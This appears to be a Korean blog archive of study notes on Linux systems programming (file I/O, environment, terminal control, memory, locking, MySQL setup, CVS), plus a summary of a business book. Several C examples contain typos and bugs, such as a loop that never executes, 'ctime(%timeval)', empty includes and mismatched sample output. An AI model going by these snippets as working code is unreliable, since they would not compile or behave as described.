rcsdiff -r1.1 -r1.2 important.c => 버전 1.1과 1.2를 비교해 보기

개정 자동 식별 추가
static char *RCSinfo = "$Id$"; => 소스안에 추가

실행파일의 개정 자동 식별 하기
$ ident ./important

CVS => 인터넷을 통한 소스 코드 관리(형상관리) 다인용

cvs 초기 디렉토리 만들기
mkdir /usr/local/repository

cvs 초기화
cvs -d /usr/local/repository init

현재 디렉토리에 있는 소스를 /usr/local/repository/wrox/chap9-cvs에 저장
cvs import -d /usr/local/repository/ -m"Initial versoin of Simple Project" wrox/chap9-cvs wrox start

밑에 cvs의 -d 옵션을 제거하기 위해서 해야할 일
export CVSROOT=/usr/local/repository

cvs로 체크 후 갖고오기
cvs checkout wrox/chap9-cvs

cvs로 비교
cvs diff

cvs로 뭘 체크하는지 보기
cvs commit

세부사항 보기
cvs rdiff -r1.1 wrox/chap9-cvs

cvs 업데이트
cvs update -Pd wrox/chap9-cvs

cvs 네트워크로 액세스 => 527페이지 참조

diff로 차이점 목록 만들기
diff file1.c file2.c > diffs

file1.c와 diffs를 이용해서 패치
patch file1.c diffs

패치 원복하기
patch -R file1.c diffs

spec 파일 빌드하기
rpmbuild -ba myapp.spec

9Day Study

2009-03-08T21:54:00.001-07:00

9Day Study
[[[[[Mysql 관련]]]]]
Mysql: Mysql의 장점은 무료고 속도가 빠르다
PostgreSQL: PostgreSQL의 장점은 완전 무료고 일반 기본 쿼리 속도는 mysql에 뒤처지지만 복잡한 쿼리 속도는 Mysql보다 빠름

주요서버 패키지: MySQL-server-< 버전>.< 아키텍처>.rpm
클라이언트 패키지: MySQL-client-< 버전>.< 아키텍처>.rpm
공유 구성요소 패키지: MySQL-share-< 버전>.< 아키텍처>.rpm
개발 패키지: MySQL-devel-< 버전>.< 아키텍처>.rpm

실행수준 1,3에 msyql을 시작를 추가
ln -s /etc/rc.d/init.d/mysql /etc/rc.d/rc1.d/S97mysql
ln -s /etc/rc.d/init.d/mysql /etc/rc.d/rc3.d/S97mysql
chkconfig --add mysql
chkconfig --level 13 mysql on

실행수준 2에 mysql을 정지를 추가
ln -s /etc/rc.d/init.d/mysql /etc/rc.d/rc2.d/K97mysql
chkconfig --add mysql
chkconfig --level 2 mysql off

mysql 실행 수준 보기
chkconfig --list 또는 chkconfig --list 서비스명

$mysqladmin -u root password 설정패스워드 < = 초기 패스워드 설정을 함

$mysql -u root -p < = mysql root로 접속

rick 사용자 만들기
mysql> GRANT ALL ON *.* TO rick@localhost IDENTIFIED BY '패스워드';
192.168.0 클래스 C 서브넷에서 연결만
mysql> GRANT ALL ON *.* TO rick@'192.168.0.0/255.255.255.0' IDENTIFIED BY '패스워드';
도메인 wiley.com 속한 컴퓨터는 모두 통과
mysql> GRANT ALL ON *.* TO rick@'%.wiley.com' IDENTIFIED BY '패스워드';
특정 DB만 권한 주기
mysql> GRANT ALL ON database_name.* TO rick@'%.wiley.com' IDENTIFIED BY '패스워드';

Mysql 로그보기
$mysql_safed -log

myisamchk => mysql db 점검(테이블이 저장되어 있는 디렉토리에서 실행)
$myisamchk -e -r *.MYI

-c: 테이블의 에러를 점검
-e: 확장된 점검을 수행한다
-r: 발견한 에러를 복구(수정) 함

mysqldump => mysql 백업 프로그램

mysql 데이터 형식 => 438페이지 참조

MySQLCC => mysql GUI 관리툴

mysql 프로그램 예: 469, 480페이지 참조

컴파일 명령어:
$gcc -I/usr/include/mysql connect.c -L/usr/lib/mysql -lmysqlclient -lz -o connect

mysql> SELECT LAST_INSERT_ID(); < = 마지막 AUTO_INCREMENT 값 갖고 오기

mysql_store_result => SELECT 결과값 뭉탱이로 갖고 오기
mysql_use_result => SELECT 결과값 한 행씩 가져오기

Google App Engine

2009-03-08T21:09:00.000-07:00

http://flyingmate.net/45

8Day Study

2009-03-08T19:20:00.000-07:00

8Day Study
[[[[[데이터 관리]]]]]

malloc => 메모리 할당하기
#include < stdlib.h>
void *malloc(size_t size);

!!중요!!
유닉스에서는 malloc.h 헤더파일 필요
사용가능한 메모리 예:
#include < unistd.h>
#include < stdlib.h>
#include < stdio.h>

#define ONE_K (1024 * 1024000)

int main()
{
char *some_memory;
int size_to_allocate = ONE_K;
int megs_ob = 0;
int ks_ob = 0;

while (1)
{
for(ks_ob=0;ks_ob>1024;ks_ob++)
{
some_memory=(char *)malloc(size_to_allocate);
if(some_memory == NULL) exit(EXIT_FAILURE);
sprintf(some_memory, "Hello world");
}
megs_ob++;
printf("Now allocated %d Megabytes\n", megs_ob);
}
exit(EXIT_SUCCESS);
}

리눅스는 모든 메모리를 페이지로 나누는데, 보통 한 페이지는 4096바이트 이다

free => 메모리 해지하기
#include < stdlib.h>
void free(void *ptr_to memory);

calloc => 구조체의 배열에 해당하는 메모리를 할당하며 요소의 개수와 각 요소의 크기를 매개변수로 가짐
#include < stdlib.h>
void *calloc(size_t number_of_elements, size_t element_size);

realloc => 할당된 메모리 블록의 크기 변경(반환값: Null 실패, 포인터 성공)
void *realloc(void *existing_memory, size_t new_size);

Lock 파일 만들기 예: 362페이지 참조
int file_desc;
file_desc=open("/tmp/lock.test", O_RDWR | O_CREAT | O_EXCL, 0444);

프로그램이 단순히 실행하는 짧은 기간동안 리소스를 독점해야한다면, 즉 임계 영역(critical secction)이 필요하다면, 임계 영역에 진입하기 전에 잠금 파일을 만들고 임계 영역을 빠져나와서 unlink로 지워주어야 한다

10번 반복해라 예:
int tries = 10;
while(tries--) {
...
}

fcntl => 파일의 특정 부분만 잠그고 다른 프로그램이 파일의 다른 부분에는 액세스할 수 있도록 하기(lockf도 같은 기능을 함) 366페이지 참조
#include < fcntl.h>
int fcntl(int fildes, int command, struct flock *flock_structure);
!!파일 영역에 대한 잠금기능 사용시는 고수준 fread보다는 저수준 read를 사용하는 것이 좋다!!
실습 예: 370페이지 참조
#include < unistd.h>
int lockf(int fildes, int function, off_t size_to_lock);

dbm => 리눅스용 데이터베이스(단순 색인 파일 저장소) ndbm과 gdbm 중에 호환성은 ndbm이 좋음
#include < ndbm.h>
DBM *dbm_open(...); => 데이터 베이스 열기
int dbm_store(...); => 데이터 베이스 저장
datum dbm_fetch(...); => 데이터 베이스 갖어오기
void dbm_close(...); => 데이터 베이스 닫기
dbm 데이터베이스 예: 387~417페이지 참조

7Day Study

2009-03-04T17:54:00.001-08:00

7Day Study
[[[[[텍스트 기반 화면 관리(curses 사용)]]]]]
297~384페이지 참조

P.S 내용이 서버 프로그램 개발시 별로 필요가 없을 것 같아서 생략함

6Day Study

2009-03-04T17:53:00.000-08:00

6Day Study
[[[[[터미널(terminal)]]]]]

getchar => 터미널의 데이터 받기
printf => 터미널에 데이터 출력

터미널에서 읽고 쓰기 예: 257페이지 참조

!!중요!!
리눅스와 유닉스는 항상 라인 피드를 텍스트의 줄 끝으로 사용함(텍스트와 바이너리 동일처리)(리눅스는 캐리지 리턴은 프린터나 플로터 출력할 때 처리함)
윈도우는 캐리지 리턴(CR 십진수 13, 16진수 0D)과 라인 피드(LF 십진수 10, 16진수 0A)를 쌍으로 사용함

isatty => 저수준 파일 설명자가 터미널과 연결되어 있는지 조사하며 표준 출력이 리디렉트되어있는지 확인(반환값: fd가 터미널에 연결되어 있으면 1, 이외는 0)
#include < unistd.h>
int isatty(int fd);
출력 리디렉션(터미널 연결확인) 예: 260페이지 참조

/dev/tty => 터미널과 대화하기
getchoice => 출력을 좀더 제어하기 위한 매개변수 제어 예: 262페이지 참조

일반 터미널 인터페이스(termios.h)가 제어 할 수 있는 일(입력/출력/제어/로컬/특수제어문자) => 266페이지 참조
줄 편집: 편집을 위해 백스페이스를 허용할지 여부
버퍼링: 문자를 바로 읽을 것인지 혹은 설정 가능한 지연 후 읽을 것인지 선택
에코: 패스워드를 읽을 때와 같이 에코를 제어할 수 있다
CR/LF: 입력과 출력에 대한 매핑(\n을 출력할 때 어떤 일이 일어나는가)을 결정
회선 속도: PC 콘솔에서는 거의 쓰이지 않으나 모뎀과 직력 회선의 터미널에서는 매우 중요

stty => 쉘에서 터미널 모드 액세스 하기(273페이지 참조)
stty -a => termios 전체 설정 보기
stty sane => 줄바꿈 문자에 대한 캐리지 리턴 키의 매핑을 잃어버렸다면, stty sane을 입력하고 엔터키보다 Ctrl+J(줄 바꿈 문자)를 누를 필요가 있다
stty -icanon min 1 time 0 => 쉘 스크립트가 문자 하나를 읽을 수 있도록 모드를 설정
stty -echo => 패스워드를 입력받기 전에 에코를 꺼서 패스워드 검사 과정을 개선
stty echo => 에코 켜기

tcdrain => 모든 대기딘 출력이 전송될 때까지 호출 프로그램을 기다림
tcflow => 출력을 일시 중단하거나 다시 시작함
tcflush => 입력 및 출력 혹은 둘다 플러시하기 위해서 사용
newrsettings => 터미널 특성 설정

termios.h를 통해서 Enter password: 프롬프트에서 에코되지 않고 사용자가 엔터를 누를 때까지 어떠한 출력도 발생하지 않는 예: 277페이지 참조

echo $TERM => 현자 사용중인 터미널 시스템 보기

/usr/lib/terminofo 또는 /usr/share/terminofo => 터미널의 특성들이 저장되는 곳
infocmp vt100 => vt100 터미널의 형식의 항목을 읽기(VT100의 F1 기능키는 Esc+O+P를 전송한다는 표현은 kf1=\EOP, 좀 더 상세한것은 284페이지 참조)

setupterm => 터미널 형식 설정하기
#include < term.h>
int setupterm(char *term, int fd, int *errret);
현재 터미널 사이즈 받아오는 예: 286페이지 참조

종합 터미널 제어 예: 289페이지 참조

kbhit => 키 입력 검출 함수(윈도우로 부터 프로그램을 이식할 때, kbhit를 에뮬레이트하면 편리한 경우가 있음, 비정식 입력 모드 사용하면 된다) 예: 291페이지

who => 로그인한 사용자 보기
ps => 현재 가상 콘솔에서 실행중인 쉘과 프로그램 보기(mingetty는 가상 콘솔에서 사용자의 로그인을 기다리는 데몬)

Ctrl+Alt+F< N> => 가상 콘솔 사이 전환하기(예: Ctrl+Alt+F1), X윈도우 그래픽 tty는 7번
sstartx -- :1 => X윈도우 그래픽 세션 추가(가장 마지막 tty 세션 +1에 생김)

사자도 굶어 죽는다

2009-03-04T16:33:00.000-08:00

사자도 굶어죽는다ㅣ서광원ㅣ위즈덤하우스

기 업을 경영하는 사람들에게는 시대와 환경의 변화를 읽어내는 통찰력이 필요하다. 하루가 다르게 변하는 세상에서 그 중심과 행간을 읽어내지 않고서는 경영의 방향조차 잡을 수가 없는 것이 현실이다. 이 책은 인간과 자연의 공통된 질서와 원리를 글로벌 시대의 코드로 읽어내고, 기업 환경에 대한 심층적인 이해를 통해 전략과 승부의 급소를 제시하고 있다. -손주은 메가스터디 CEO-

□ 탁월한 생존에는 법칙이 있다

■ 사자도 굶어 죽는다

- 초원의 제왕이지만 생존율은 고작 10%

- 보통 3일에 한 번 정도 사냥을 하며 성공률은 평균 30%

- 월스트리트: 헤지펀드 업계 총자산 규모 1조1천억 달러 중 약3분의 2는 상위 100개 헤지펀드(전체 헤지펀드 총수는 8,000개)에 집중

- 대부분의 헤지펀드는 1년 안에 멸망

■ 이제 세상은 정글이 아니다

- 정글: 오랜 터전이었고 모든 것이 익숙하고 편안한 곳이지만 먹이가 부족

- 초원: 위험천만하고 살벌하지만 먹이가 풍부

- 좋은 기회일수록 먹음직스런 먹이일수록 많은 경쟁과 위험을 감수해야 함

- 넓어진 세상, 풍부한 먹잇감, 치열한 경쟁 그리고 이를 극복하기 위한 경쟁력 배양과 세력 규합 =>초원의 풍경이 세계화의 물결이 우리에게 던지고 있는 키워드와 정확하게 일치함

- 앞으로 우리가 생존해야 할 세계는 빽빽한 나무들로 가득 찬, 그래서 앞을 볼 수 없는 정글이 아니라 앞이 확 트인, 그래서 세상이 어떻게 변하는지 다 볼 수 있지만, 바로 그렇기 때문에 언제 어디서 무엇이 우리에게 닥쳐올지 알 수 없는 초원

■ 초원 3.0 시대가 오고 있다

- 세계화 이전의 세계: 숲 =>국내시장에만 안주해도 생존이 가능

- 세계화 이후의 세계: 대초원 =>전 세계 모든 기업이 경쟁상대

- 세계화 3.0 시대 => “큰 것이 작은 것을 잡아먹는 게 아니라 빠른 것이 느린 것을 잡아먹는다.”

- 세계화 3.0 시대에서의 생존 조건: “작업 과정, 기술을 가장 신속하게 익힌 사람들”

=> “문제는 어떻게 기회를 만들어내고, 그 기회를 이용해 번영해나가느냐 하는 것이다.”

■ 자연이 터득한 생존의 5가지 절대법칙

- 관찰: 잘 관찰하면서 패턴을 추출한다.

- 목표설정: 목표를 명확하고 구체적으로 설정한다.

- 목표물 접근: 사냥감이 눈치 채지 않게끔 최대한 가까이 접근한다.

- 사냥: 전광석화처럼 사냥한다.

- 마무리 & 새로운 시작: 마무리 및 다음 사냥을 준비한다.

□ 생존의 법칙 1: 관찰

■ 잘 보면 보인다.

- “움직일 때는 때가 중요하며, 머무르기에는 낮은 곳이 좋다.”

- 히딩크 감독: “한국 선수들은 개인기와 체력은 괜찮은데 정신력이 문제다.”

=>관찰이 달라지면 모든 것이 달라짐=>한국식 축구를 버리고 선진 축구를 접목함

- 로버트 기요사키: “집을 제대로 사려면 조깅부터 시작하라.”

=>날마다 꾸준하게 살펴보면 약간의 변화도 포착할 수 있으며 집이 가진 가치를 제대로 평가할 수 있음

■ 숨은 그림 패턴을 찾아라

- 새들은 사냥할 때 동그랗게 말린 잎이나 손상된 잎을 이용

=> 애벌레들이 나뭇잎을 갉아먹고 있다는 표시

- 누른도요새: 지렁이가 나오도록 부리를 두들겨 소나기가 땅을 치는 듯한 진동을 만들어냄

- 1990년 전후 국내 중소기업인: 베이징과 상하이에서 살이 오르기 시작한 개와 고양이를 관찰한 후 투자 결정

■ 패턴 속에 본질이 있다

- 1961년 KBS가 국내 처음으로 TV 방송을 시작했을 때 송신탑 설치 장소 및 방법을 위해 고액의 일본 기술자 초청 =>한 달 동안 천하태평 후 마지막날 리포트 제출 => 리포트에는 송신탑이 설치되어야 할 전국 각지의 지점들이 명확하게 그려져 있었음=> 송신탑 설치 지점으로 선택한 곳은 모두 조선시대 봉화대가 있었던 곳

- 스타벅스: 매장에 무선인터넷 설치 =>고객들의 커다란 호응

- 맥도널드: 매장에 무선인터넷 설치 =>실패

Why? => 맥도널드의 비즈니스 본질은 ‘빨리 먹고 나가게 하는 것’

■ 적은 내부에 있고, 기회는 바깥에 있다

- 해답은 바깥 어디에 있는가? => “고객이 있는 곳이 현장이다.”

- 코닥: 일회용카메라 사업 출시 전 격렬한 내부 반대 => 대성공

Why? => 고객은 품질보다 사진을 쉽게 찍을 수 있다는 점에 매력을 느꼈기 때문

- MIT 대학: 순수 기초학문이 아닌 응용학문에 중점=>산업현장의 흐름을 면밀하게 파악할 수 있었음=>부자교수들이 세계에서 가장 많음

□ 생존의 법칙 2: 목표설정

■ 먹이는 구체적이고 명확해야 한다

- 자신의 목표를 정확하게 기록하는 목표의 객관화가 필수

- 목표를 구체적으로 기록하는 사람은 전세계 인구의 3% => 모두가 고액연봉자

- 브라이언 트레이시의 3가지 방법

첫째, 간절히 원해야 한다

둘째, 왜 이 목표를 선택했는지 명확하게 설명할 수 있어야 한다

셋째, 마감시간을 정해야 한다

□ 생존의 법칙 3: 목표물에 접근하기

■ 얼마나 노력해야 하는가?

- 실패한 사람들은 쉽게 접근하며, 성공한 사람들은 어렵게 접근함

- 실패한 호랑이는 성큼성큼 보란 듯이 뛰어가며, 성공한 호랑이는 혹시 바스락거리는 소리라도 낼까 싶어 살금살금 접근함

- 실패한 이들은 “최선을 다했다”고 하며, 성공한 사람들은 “뭔가 다르게 하려고 노력했다”고 말함

□ 생존의 법칙 4: 승부의 순간

■ 선택과 집중

- 긴장하면 소화가 안 되는 이유: 심장과 근육, 손, 발의 힘이 필요해서 뇌는 이곳에 혈액을 우선적으로 공급하며 위장에는 공급을 줄이기 때문

- 밥을 많이 먹으면 하품이 나오는 이유: 소화를 시키기 위해 위장에 혈액을 많이 보냄으로써 다른 신체기관의 피가 평소보다 모라지 때문

- 한우물 경영: 코스닥 상장 후 10년 후 살아남은 기업은 첫 상장한 343개 기업 중 134개=> 이 중 10년 연속 순익을 달성한 기업은 10%에 불과한 41개뿐

□ 생존의 법칙 5: 마무리 & 새로운 시작

■ 잘 나가는 사람은 왜 겸손해야 할까?

- 오프라 윈프리: “어떻게 토크쇼 시청률 1위를 그렇게 오랫동안 유지할 수 있느냐?”

=> “나는 항상 넘버 텐인 것처럼 행동한다. 내가 넘버원이 될 수 있었던 이유는 바로 여기에 있다. 1등이라고 생각하는 순간, 이미 10등이 되어버릴지 모르는 일이다.”

- 성공한 사람들은 항상 스스로를 위기 상황에 놓음

■ 실패는 자연 현상이다

- 성공한 세일즈맨과 실패한 세일즈맨의 차이

=>세일즈맨 중 단 한 번 권유한 다음 포기한 이들은 48%, 두 번 권유한 사람은 25%,

세 번 권유한 사람은 15%, 세 번을 퇴짜 맞고도 다시 한 번 권유한 사람은 12%였음. 이 12%의 세일즈맨이 전체 판매량의 80% 이상을 차지함

■ 나는 누구인가?

- “자신의 능력과 약점을 제대로 알지 못하면 실패할 일에 희망을 걸고, 부적절하거나 아주 나쁜 상황에서 일을 시작하게 된다. 스스로를 성공할 수 있는 위치에 배정하는 것이 무엇보다 중요하다. 그래야만 성공할 수 있다.”

5Day Study

2009-03-04T00:26:00.000-08:00

5Day Study
[[[[[리눅스(Linux) 환경(environment)]]]]]
프로그램 인자
main은 암시적으로 반환값은 int임
main() = int main(int arc, char *argv[])

프로그램 인자값 표시 예제:
#include < stdio.h>
int main(int argc, char *argv[])
{
int arg;

for(arg = 0; arg < argc; arg++)
{
if(argv[arg][0] == '-')
printf("option: %s\n", argv[arg]+1);
else
printf("argument %d: %s\n", arg, argv[arg]);
}
exit(0);
}

결과는
$ ./args -i -lr 'hi there' -f fred.c
argment 0: args
option: i
option: lr
argument 3: ya there
option: f
argument 5: fred.c

getopt => 리눅스 arg값의 가이드라인을 지킬 수 있도록 도와주는 함수(반환값: 더 이상 처리할 옵션이 없을 때 -1, 인식할 수 없는 옵션의 경우 ?)
#include < unistd.h>
int getopt(int argc, char *const argv[], const char *optstring);
extern char *optarg;
extern int optind, opterr, optopt;
POSIX 명세에는 opterr 변수가 0이 아니면 getopt는 에러 메시지를 stderr에 출력한다고 나와있다

getopt 예: 214페이지 참조

getopt_long => 이중 대시로 시작하는 소위 긴 인자를 받아들임(GNU C)
$ ./longopt --initialize

putenv => 환경변수 넣기(반환값: -1 실패)(환경변수는 지역적인 변수임으로 다른 쉘에는 적용이 안됨)
#include < stdlib.h>
char *getenv(const char *name);
getenv => 환경변수 반환(반환값: Null 존재안함)
int putenv(const char *string);

getenv와 putenv 예: 218페이지 참조

environ => 환경값을 문자배열로 사용
#include < stdlib.h>
extern char **environ;

environ 변수를 사용하여 환경 변수를 출력하는 프로그램 예:
#include < stdlib.h>
#include < stdio.h>
extern char **environ;
int main()
{
char **env = environ;

while(*env)
{
printf("%s\n", *env);
env++;
}
exit(0);
}

time_t => 시간과 날짜 함수(long)
#include < time.h>
time_t time(time_t *tloc);

time_t 예: 223페이지 참조

difftime => 두개의 시간 값 사이의 차를 게산하고 부동 소수점 숫자로 반환
#include < time.h>
double difftime(time_t time1, time_t time2);

gmtime => 저수준 시간 값을 좀더 평범한 필드를 포함하는 구조체로 분리
#include < time.h>
struct tm *gmtime(const time_t timeval);

tm 구조체와 gmtime를 이용하여 현재 시간과 날짜를 출력 예: 225페이지 참조

localtime => 지역 시간 보기
#include < time.h>
struct tm *localtime(const time_t *timeval);

mktime => tm 구조체를 원시 time_t 값으로 변환(반환값: -1 실패)
#include < time.h>
time_t mktime(struct tm *timeptr);

asctime => 사람에게 친숙한 시간과 날짜 구하기
#include < time.h>
char *asctime(const struct tm *timeptr);

ctime => 원시 시간 값을 받아들여 좀더 읽기 쉬운 지역 시간으로 반환
char *ctime(const time_t *timevarl);

ctime 예:
#inlcude < time.h>
#include < stdio.h>
int main()
{
time_t timeval;
(void)time(&timeval);
printf("The date is:%s", ctime(%timeval));
exit(0);
}
결과는
The date is: Sat Feb 8 09:21:17 2003

strftime => 시간과 날짜 문자열의 형식으로 더욱 정확하게 제어할 때(반환값 포인터)
#include < time.h>
#define _XOPEN_SOURCE
char *strptime(const char *buf , const char *format, struct tm *timeptr);
strftime을 이용한 예(시간값 구하는 함수 중에는 가장 좋다): 230페이지 참조

tmpnam => 임시 파일 만들기(문자열 *s가 널이아니면 파일 이름을 저장)
#include < stdio.h>
char *tmpnam(char *s);

tmpfile => 임시 파일의 이름을 만듦과 동시에 열기(반환값: Null 에러)
#include < stdio.h>
FILE *tmpfile(void);

tmpnam과 tmpfile의 예: 233페이지 참조

mktemp => tmpnam와 유사하고 사용자가 임시 파일의 위치와 이름을 좀더 제어(유닉스 예전버전에서 지원)
#include < stdlib.h>
char *mktemp(char *template);
mkstemp => tmpfile와 유사하고 사용자가 임시 파일의 위치와 이름을 좀더 제어(유닉스 예전버전에서 지원)
int mkstemp(char *template);

getuid => 프로그램과 연관된 UID를 반환
#include < sys/types.h>
#include < unistd.h>
uid_t getuid(void);

getlogin => 현재 상요자와 연관된 로그인 이름을 반환
char *getlogin(void);

/etc/passwd의 구성은
사용자 이름:암호화된 패스워드:사용자 식별자(UID):그룹 식별자(GID):전체 이름:홈 디레고리:기본 쉘
예: root:x:0:0:root:/root:/bin/bash
/etc/shadow => 암호화된 패스워드 파일

getpwuid => 사용자 정보를 표현하는 passwd 구조체로 UID로 사용자 식별
#include < sys/types.h>
#include < pwd.h>
struct passwd *getpwuid(uid_t uid);
getpwnam => 사용자 정보를 표현하는 passwd 구조체로로그인 이름으로 사용자 식별
struct passwd *getpwnam(const char *name);

사용자 정보 예: 236페이지 참조

getpwent => 전체 각 사용자 정보 항목을 차례대로 반환(반환값: 아무것도 없다 Null)
endpwent => getpwent 처리 종료
setpwent => 패스워드 파일에서 위치를 처음으로 설정
위 3개의 함수들은 디렉토리 스캔 함수인 opendir, readdir, closedir과 유사하게 작동함
#include < sys/types.h>
#include < unistd.h>
uid_t geteuid(void);
gid_t getgid(void);
gid_t getegid)void);
int setuid(uid_t uid);
int setgid(gid_t gid);

gethostname => 시스템의 네트워크 이름(호스트 정보)을 갖어 옴(반환값: 성공 0, 실패 -1)
#include < unistd.h>
int gethostname(char *name, size_t namelen);

uname => 시스템 호출을 통해 호스트 컴퓨터의 좀더 세부적인 정보를 구함(운영체제, 호스트 이름, 시스템의 출시 수준, 시스템의 버전 번호, 하드웨어 형식)(반환값: 실패 -1)
#include < sys/utsname.h>
int uname(struct utsname *name);
호스트 정보 예: 239페이지 참조

기본 로그 디렉토리 => /usr/adm 또는 /var/log
/var/log/messages => 모든 시스템 메시지 포함
/var/log/mail => 메일 시스템 로그
/var/log/debug => 디버그 메시지
/etc/syslog.conf => 시스템 구성을 확인

syslog => 로그 저장
#include < syslog.h>
void syslog(int priority, const char *message, arguments...);

priority 멤버들
LOG_EMERG : 긴급상황
LOG_ALERT : 데이터베이스 손상과 같은 높은 순위
LOG_CRIT : 하드웨어 고장과 같은 치명적인 에러
LOG_ERR : 에러
LOG_WARNING : 경고
LOG_NOTICE : 주의가 필요한 특별한 조건
LOG_INFO : 정보 메시지
LOG_DEBUG : 디버그 메시지

syslog 예:
#include < syslog.h>
#include < stdio.h>
int main()
{
FILE *f;
f=fopen("not_here","r");
if(!f)
syslog(LOG_ERR|LOG_USER,"opps - %m\n");
exit(0);
}

결과
/var/log/messages 마지막 줄에
Feb 8 09:59:14 beast syslog: opps - No such file or directory

openlog => 로그 메시지가 나타나는 방식을 변경
#include < syslog.h>
void openlog(const char *ident, int logopt, int facility);

closelog => openlog를 닫아줌
void closelog(void);

setlogmask => 로그 마스크ㅡ를 설정하여 우선순위 수준을 제어
int setlogmask(int maskpri);

logmask 예:
#include < syslog.h>
#include < stdio.h>
#include < unistd.h>
int main()
{
int logmask;
openlog("logmask", LOG_PID|LOG_CONS, LOG_USER);
syslog(LOG_INFO, "infomative message, pid=%d", getpid());
syslog(LOG_DEBUG, "debug message, should appear");
logmask = setlogmask(LOG_NOTICE)); < = NOTICE 이하 우선순위는 무시
syslog(LOG_DEBUG, "debug message, should not appear"); < = 위 마스크 기능 때문에 표시가 안됨
exit(0);
}

결과는
/var/log/messages 끝에
Feb 8 10:00:50 beast logmask[1833]: informative message, pid = 1833
/var/log/debug 끝에
Feb 8 10:00:50 beast logmask[1833]: debug message, should appear

!!중요!!
혹시 /var/log/debug에 로그가 출력되지 않는다면 /etc/syslog.conf 밑에
*.debug /ar/log/debug
를 추가하자

getpid => PID 반환
#include < sys/types.h>
#include < unistd.h>
pid_t getpid(void);

gettpid => 부모 PID 반환
pid_t getppid(void);

getpriority => 자신 또는 다른 응용프로그램 우선순위를 받아오기
#include < sys/resource.h>
int getpriority(int which, id_t who);

setpriority => 자신 또는 다른 응용프로그램 우선순위를 설정하기
int setpriority(int which, id_t who, int priority);

getrlimit => 시스템 리소스의 제한을 받아오기
int getrlimit(int resource, struct rlimit *r_limit);

setrlimit => 시스템 리소스의 제한을 설정하기
int setrlimt(int resource, const struct rlimit *r_limit);

int getrusage => CPU 정보를 받아옴
int getrusage(int who, struct rusage *r_usage);

리소스 제한 예: 251페이지 참조

4Day Study

2009-03-02T20:52:00.001-08:00

4Day Study
[[[[[파일(File) 작업]]]]]
아이노드(inode) => 파일 시스템의 데이터의 특정 블록이며, 파일의 길이와 파일이 디스크의 어디에 저장되어 있는가를 포함(ls -i)
디렉토리 => 아이노드 숫자와 파일의 이름을 저장하고 있는 파일이다. 각 디렉토리 항목은 파일의 아이노드에 대한 연결이다. 파일 이름을 삭제하면 연결이 삭제된다
사용자 디렉토리 => 틸트(tilde) ~를 가지고 있음
/bin => 시스템 바이너리 디렉토리
/etc => 시스템 구성 파일 디렉토리
/lib => 시스템 라이브러기 디렉토리
/dev => 장치 인터페이스 파일 디렉토리

CD-ROM 마운트
# mount -t iso9660 /dev/hdc /mnt/cdrom
# cd /mnt/cdrom

/dev/console => 시스템 콘솔을 표현
/dev/tty => 프로세스의 제어 터미널(키보드와 화면 혹은 윈도우)에 대한 별칭
/dev/zero => 0을 포함하는 파일을 생성하기 위해 null 바이트의 원본처럼 작동
/dev/null => 이 장치로 쓰여진 모든 출력은 버려짐

빈파일 만들기
cp /dev/null empty_file
touch .empty_file => 기존 파일이 있을 경우 파일의 수정시간 만 바뀜

장치 드라이버 액세스를 위한 저수준 함수인 시스템 호출(시스템 호출은 성능부하가 큼으로 한번에 큰 파일을 쓰기 위함)
open => 파일 혹은 장치 열기
read => 열린 파일 혹은 장치로 부터 읽기
write => 파일이나 장치에 쓰기
close => 파일이나 장치를 닫기
ioctl => 제어 정보를 장치 드라이버에 전달(각 드라이버 마다 고유한 ioctl 명령 집합이 있음)

리눅스 시스템
사용자 프로그램(라이브러리) => 사용자 공간
↓
시스템 호출/커널(장치 드라이버) => 커널 공간
↓
하드웨어 장치

write의 설명자
0 => 표준 입력
1 => 표준 출력
2 => 표준 에러

write 예시 => 반환값(0 데이터 안씀, -1 에러 발생, 1이상의 실제로 쓰여진 바이트 수)
size_t write(int fildes, const void *buf, size_t nbytes);

#include
#include
#include

int main()
{
if ((write(1, "Here is some data\n", 18)) != 18)
write(2, "A write error has occurred on file descriptor 1\n",46);

exit(0);
}

결과는
Here is some data

read 예시 => 반환값(0 데이터 안읽기, -1 에러 발생, 1이상의 실제로 읽어진 바이트 수)
size_t read(int fildes, const void *buf, size_t nbytes);

int main()
{
char buffer[128];
int nread;

nread = read(0, buffer, 128);
if (nread == -1)
write(2, "A read error has occurred\n", 26);

if ((write(1,buffer,nread__ != nread)
write(2, "A write error has occurred\n",27);

exit(0);
}

결과는
echo hello there | simple_read
hello there

open => 새로운 파일 설명자를 만들기 위해
int open(const char *path, int oflags);
int open(const char *path, int oflags, mode_t mode);

mode 맴버는
O_RDONLY => 읽기 전용
O_WRONLY => 쓰기 전용
O_RDWR => 읽고 쓰기용

oflags 맴버는
O_APPEND => 파일 끝에 붙이기
O_TRUNC => 파일의 길이를 0으로 설정하여 기존 내용을 삭제함
O_CREAT => 필요하다면 파일을 생성
O_EXCL => O_CREAT와 함께 사용하며 파일이 만들었음을 확실 할 수 있음

#include
#include

파일을 만들때(O_CREAT)는 플래그 필요 맴버는
S_IRUSR : 읽기 권한, 소유자
S_IWUSR : 쓰기 권한, 소유자
S_IXUSR : 실행 권한, 소유자
S_IRGRP : 읽기 권한, 그룹
S_IWGRP : 쓰기 권한, 그룹
S_IXGRP : 실행 권한, 그룹
S_IROTH : 읽기 권한, 다른 사용자
S_IWOTH : 쓰기 권한, 다른 사용자
S_IXOTH : 실행 권한, 다른 사용자

예: myfile 파일을 만들면서 소유자의 읽기 권한과 다른 사용자의 실행 권한을 부여
open ("myfile", O_CREAT, S_IRUSR|S_IXOTH);

umask => 파일을 만들 때 사용할 파일의 권한 마스크를 인코드 하는 시스템 변수
close => 파일 간의 연결을 종료(반환값 : 0 성공, -1 실패)
int close(int fildes);

limits.h => 실행중에 한번에 열수 있는 파일의 개수 제한(OPEN_MAX)

ioctl => 장치 제어
int ioctl(int fildes, int cmd, ...);

TIMEFORMAT="" time copy_system => 복사에 대해서 점유율 파악
Command exited with non-zero status 127
0.00user 0.00system 0:00.00elapsed 0%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (0major+49minor)pagefaults 0swaps

저수준의 파일 복사하기 기능 예:
#include
#include
#include
#include

int main()
{
char block[1024];
int in, out;
int nread;

in = open("file.in", O_RDONLY);
out = open("file.out", O_WRONLY|O_CREAT, S_IRUSR|S_IWUSR);
while((nread = read(in,block,sizeof(block))) > 0)
write(out,block,nread);

exit(0);
}

lseek => 파일 설명자 filedes의 읽기/쓰기 포인터를 설정
off_t lseek(int fildes, off_t offset, int whence);

fstat => 열린 파일 설명자에 연결된 파일의 관한 상태 정보를 반환
stat => 명명된 파일의 상태 정보를 반환
